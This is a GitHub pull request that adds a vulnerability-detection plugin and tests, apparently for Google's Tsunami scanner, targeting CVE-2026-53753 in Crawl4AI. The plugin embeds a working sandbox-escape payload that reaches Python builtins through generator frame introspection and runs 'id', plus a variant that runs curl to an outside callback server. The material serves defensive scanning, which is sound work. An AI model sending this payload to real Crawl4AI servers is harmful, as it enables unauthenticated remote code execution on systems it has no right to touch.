-
Notifications
You must be signed in to change notification settings - Fork 221
feat(templated):CVE-2026-53753-Crawl4AI #878
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
mangeshwalsane2-hash
wants to merge
2
commits into
google:master
Choose a base branch
from
mangeshwalsane2-hash:feature/CVE-2026-53753-Crawl4AI
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+276
−0
Open
Changes from all commits
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
139 changes: 139 additions & 0 deletions
139
...d/templateddetector/plugins/cve/2026/Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,139 @@ | ||
| # proto-file: proto/templated_plugin.proto | ||
| # proto-message: TemplatedPlugin | ||
|
|
||
| ############### | ||
| # PLUGIN INFO # | ||
| ############### | ||
|
|
||
| info: { | ||
| type: VULN_DETECTION | ||
| name: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753" | ||
| author: "mangeshwalsane2-hash" | ||
| version: "1.0" | ||
| } | ||
|
|
||
| finding: { | ||
| main_id: { | ||
| publisher: "GOOGLE" | ||
| value: "CVE-2026-53753" | ||
| } | ||
| severity: CRITICAL | ||
| title: "Unauthenticated Remote Code Execution (AST Sandbox Escape) in Crawl4AI" | ||
| description: "Crawl4AI versions 0.8.6 and prior contain an unauthenticated remote code execution vulnerability via computed field expression evaluation. An attacker can send a crafted JsonCssExtractionStrategy schema that escapes the AST allow-list using Python generator frame introspection (gi_frame.f_back), reaching real builtins and executing arbitrary OS commands." | ||
| recommendation: "Upgrade Crawl4AI to version 0.8.7 or higher, enable JWT authentication, and avoid exposing the API to untrusted networks." | ||
| related_id: { | ||
| publisher: "CVE" | ||
| value: "CVE-2026-53753" | ||
| } | ||
| } | ||
|
|
||
| config: {} | ||
|
|
||
| ########### | ||
| # ACTIONS # | ||
| ########### | ||
|
|
||
| actions: { | ||
| name: "fingerprint_crawl4ai" | ||
| http_request: { | ||
| method: POST | ||
| uri: "/crawl" | ||
| headers: [ | ||
| { | ||
| name: "Content-Type" | ||
| value: "application/json" | ||
| } | ||
| ] | ||
| data: "{\"urls\": [\"raw://<html><body><div>test</div></body></html>\"]}" | ||
| response: { | ||
| http_status: 200 | ||
| expect_all: { | ||
| conditions: [ | ||
| { | ||
| body: {} | ||
| contains: "\"cleaned_html\"" | ||
| }, | ||
| { | ||
| body: {} | ||
| contains: "\"success\"" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||
| # Without callback server enabled (Reflective Check) | ||
| actions: { | ||
| name: "trigger_rce_sandbox_escape_reflective" | ||
| http_request: { | ||
| method: POST | ||
| uri: "/crawl" | ||
| headers: [ | ||
| { | ||
| name: "Content-Type" | ||
| value: "application/json" | ||
| } | ||
| ] | ||
| data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}" | ||
| response: { | ||
| http_status: 200 | ||
| expect_all: { | ||
| conditions: [ | ||
| { | ||
| body: {} | ||
| contains: "uid=" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
| } | ||
| } | ||
|
|
||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||
| # With callback server enabled (Out-of-Band Check) | ||
| actions: { | ||
| name: "trigger_rce_sandbox_escape_oob" | ||
| http_request: { | ||
| method: POST | ||
| uri: "/crawl" | ||
| headers: [ | ||
| { | ||
| name: "Content-Type" | ||
| value: "application/json" | ||
| } | ||
| ] | ||
| data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"curl {{ T_CBS_URI }}\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}" | ||
|
|
||
| } | ||
| } | ||
|
|
||
| actions: { | ||
| name: "sleep" | ||
| utility: { sleep: { duration_ms: 1000 } } | ||
| } | ||
|
|
||
| actions: { | ||
| name: "check_callback_server_logs" | ||
| callback_server: { action_type: CHECK } | ||
| } | ||
|
|
||
| ############# | ||
| # WORKFLOWS # | ||
| ############# | ||
|
|
||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||
| workflows: { | ||
| condition: REQUIRES_CALLBACK_SERVER | ||
| actions: [ | ||
| "fingerprint_crawl4ai", | ||
| "trigger_rce_sandbox_escape_oob", | ||
| "sleep", | ||
| "check_callback_server_logs" | ||
| ] | ||
| } | ||
|
|
||
| workflows: { | ||
| actions: [ | ||
| "fingerprint_crawl4ai", | ||
| "trigger_rce_sandbox_escape_reflective" | ||
| ] | ||
| } | ||
137 changes: 137 additions & 0 deletions
137
...plateddetector/plugins/cve/2026/Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753_test.textproto
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,137 @@ | ||
| # proto-file: proto/templated_plugin_tests.proto | ||
| # proto-message: TemplatedPluginTests | ||
|
|
||
| config: { | ||
| tested_plugin: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753" | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenVulnerableReflective_returnsTrue" | ||
| expect_vulnerability: true | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/crawl" | ||
| status: 200 | ||
| body_content: | ||
| '{' | ||
| ' "success": true,' | ||
| ' "results": [' | ||
| ' {' | ||
| ' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "success": true,' | ||
| ' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "extracted_content": "[\n {\n \"out\": [\n ' | ||
| '"uid=999(appuser) gid=999(appuser) groups=999(appuser)\n"\n ]\n }\n]"' | ||
| ' }' | ||
| ' ]' | ||
| '}' | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNotVulnerableReflective_returnsFalse" | ||
| expect_vulnerability: false | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/crawl" | ||
| status: 200 | ||
| body_content: | ||
| '{' | ||
| ' "success": true,' | ||
| ' "results": [' | ||
| ' {' | ||
| ' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>"' | ||
| ' }' | ||
| ' ]' | ||
| '}' | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenVulnerableOob_returnsTrue" | ||
| expect_vulnerability: true | ||
| mock_callback_server: { | ||
| enabled: true | ||
| has_interaction: true | ||
| } | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/crawl" | ||
| status: 200 | ||
| body_content: | ||
| '{' | ||
| ' "success": true,' | ||
| ' "results": [' | ||
| ' {' | ||
| ' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "success": true,' | ||
| ' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "extracted_content": "[\n {\n \"out\": []\n }\n]"' | ||
| ' }' | ||
| ' ]' | ||
| '}' | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
|
mangeshwalsane2-hash marked this conversation as resolved.
|
||
| tests: { | ||
| name: "whenNotVulnerableOob_returnsFalse" | ||
| expect_vulnerability: false | ||
| mock_callback_server: { | ||
| enabled: true | ||
| has_interaction: false | ||
| } | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "/crawl" | ||
| status: 200 | ||
| body_content: | ||
| '{' | ||
| ' "success": true,' | ||
| ' "results": [' | ||
| ' {' | ||
| ' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",' | ||
| ' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>"' | ||
| ' }' | ||
| ' ]' | ||
| '}' | ||
| headers: [ | ||
| { name: "Content-Type" value: "application/json" } | ||
| ] | ||
| } | ||
| ] | ||
| } | ||
| } | ||
|
|
||
| tests: { | ||
| name: "whenNotCrawl4AI_returnsFalse" | ||
| expect_vulnerability: false | ||
| mock_http_server: { | ||
| mock_responses: [ | ||
| { | ||
| uri: "TSUNAMI_MAGIC_ANY_URI" | ||
| status: 404 | ||
| body_content: "Not Found" | ||
| } | ||
| ] | ||
| } | ||
| } | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.